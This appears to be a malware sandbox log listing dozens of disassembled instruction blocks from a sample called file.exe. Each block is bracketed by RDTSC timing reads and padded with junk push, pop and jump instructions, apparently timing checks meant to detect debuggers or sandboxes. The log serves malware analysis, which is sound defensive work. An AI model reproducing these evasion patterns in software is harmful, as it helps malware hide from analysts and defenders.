Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A44C8 second address: 11A4519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F99150F94F6h 0x0000000a popad 0x0000000b push eax 0x0000000c jg 00007F99150F94F6h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pop eax 0x00000015 jmp 00007F99150F9505h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d ja 00007F99150F9502h 0x00000023 jmp 00007F99150F9502h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220654 second address: 122065B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220C16 second address: 1220C33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99150F9509h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220D6C second address: 1220D89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B45A9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220D89 second address: 1220D8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220D8F second address: 1220DC2 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F99146B459Ch 0x00000008 jne 00007F99146B4596h 0x0000000e push edi 0x0000000f pushad 0x00000010 popad 0x00000011 pop edi 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 js 00007F99146B45ADh 0x0000001c jmp 00007F99146B45A7h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220DC2 second address: 1220DC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220F23 second address: 1220F27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221213 second address: 122122F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F99150F9504h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221457 second address: 122146D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F99146B4596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007F99146B459Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122146D second address: 1221472 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12215FF second address: 1221605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221605 second address: 122160B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122160B second address: 1221619 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F99146B4596h 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221619 second address: 1221627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F99150F94F6h 0x0000000a pop edi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221627 second address: 122162D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122162D second address: 122163D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push edi 0x0000000e pop edi 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12217D7 second address: 12217EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F99146B4596h 0x0000000a pop eax 0x0000000b popad 0x0000000c jnp 00007F99146B45B6h 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12217EC second address: 12217FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F99150F94F6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12217FB second address: 12217FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12217FF second address: 1221803 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1225D3F second address: 1225D4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B459Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1225D4E second address: 1225D5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jns 00007F99150F94F6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1226380 second address: 122638B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F99146B4596h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122638B second address: 12263B4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F99150F94FEh 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F99150F9505h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122650B second address: 1226515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F99146B4596h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1226949 second address: 1226950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1226950 second address: 1226972 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F99146B45B4h 0x00000008 jmp 00007F99146B45A8h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1226D5F second address: 1226D65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1226D65 second address: 1226D69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F0588 second address: 11F0593 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F0593 second address: 11F05CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ecx 0x00000008 jmp 00007F99146B459Eh 0x0000000d pop ecx 0x0000000e popad 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 jne 00007F99146B45ADh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F05CE second address: 11F05FB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jns 00007F99150F9504h 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 pushad 0x00000015 pushad 0x00000016 push edx 0x00000017 pop edx 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F080D second address: 11F0812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F0EB8 second address: 11F0ECA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99150F94FEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1017 second address: 11F108C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B459Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c jmp 00007F99146B45A6h 0x00000011 mov edx, edi 0x00000013 lea eax, dword ptr [ebp+124849CDh] 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007F99146B4598h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 0000001Ch 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 mov dx, di 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a jmp 00007F99146B45A7h 0x0000003f pushad 0x00000040 popad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F108C second address: 11F1093 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1093 second address: 11D8841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F99146B4598h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 jnc 00007F99146B459Fh 0x0000002a call dword ptr [ebp+122D181Ch] 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D8841 second address: 11D8845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D8845 second address: 11D887B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F99146B45ADh 0x0000000e jmp 00007F99146B45A5h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jo 00007F99146B45A2h 0x0000001e jbe 00007F99146B4596h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D887B second address: 11D887F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D887F second address: 11D8896 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B45A2h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D8896 second address: 11D889C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122A892 second address: 122A896 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122A896 second address: 122A89A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122AA30 second address: 122AA36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122AA36 second address: 122AA49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ebx 0x00000006 jg 00007F99150F94F6h 0x0000000c jng 00007F99150F94F6h 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122AA49 second address: 122AA7F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F99146B45AFh 0x00000008 jnc 00007F99146B4596h 0x0000000e jmp 00007F99146B45A3h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F99146B45A3h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122ABDB second address: 122ABE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122ABE4 second address: 122ABF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99146B45A0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122ABF8 second address: 122ABFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122AD6D second address: 122ADA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B45A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F99146B45A0h 0x00000013 popad 0x00000014 pushad 0x00000015 jbe 00007F99146B4596h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122AF26 second address: 122AF30 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F99150F94F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1232CFD second address: 1232D17 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F99146B4596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e pop eax 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 js 00007F99146B45B3h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1232D17 second address: 1232D4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99150F9507h 0x00000009 popad 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F99150F9505h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1232D4B second address: 1232D4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1232EEA second address: 1232F07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99150F9509h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123307B second address: 1233081 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1233081 second address: 1233085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1233085 second address: 123308F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F99146B4596h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1233C1E second address: 1233C24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1233C24 second address: 1233C2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12340CA second address: 12340E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F99150F9505h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12385BB second address: 12385BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12385BF second address: 12385C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12385C3 second address: 12385CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9520 second address: 11A9534 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F99150F94FFh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9534 second address: 11A953D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE534 second address: 11AE548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99150F9500h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE548 second address: 11AE576 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B45A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 push edi 0x00000014 pop edi 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE576 second address: 11AE582 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jp 00007F99150F94F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123B9CB second address: 123B9CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123B9CF second address: 123B9E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F99150F9503h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123BBBB second address: 123BBBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123BBBF second address: 123BBD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99150F94FFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123BBD2 second address: 123BBD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123BBD8 second address: 123BBEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99150F94FEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123BBEA second address: 123BBF8 instructions: 0x00000000 rdtsc 0x00000002 js 00007F99146B4596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123E55E second address: 123E568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 push ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123E568 second address: 123E585 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99146B45A7h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123E0E2 second address: 123E0FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F99150F9503h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123E241 second address: 123E278 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F99146B459Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c je 00007F99146B45D0h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007F99146B45A7h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1244C33 second address: 1244C40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 push ecx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12434CA second address: 12434D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F0A10 second address: 11F0A20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99150F94FCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F0A20 second address: 11F0A24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1243E45 second address: 1243E64 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F99150F9509h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1243E64 second address: 1243E69 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1244970 second address: 124497A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F99150F94F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124497A second address: 124497F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1248BF3 second address: 1248BFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F99150F94F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1248BFD second address: 1248C43 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F99146B459Eh 0x0000000c jp 00007F99146B4596h 0x00000012 jmp 00007F99146B45A8h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F99146B459Eh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1248C43 second address: 1248C4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F99150F94F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1247F17 second address: 1247F2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F99146B459Ch 0x0000000b jne 00007F99146B4596h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124839B second address: 12483C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99150F9503h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F99150F94FEh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12483C7 second address: 12483CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
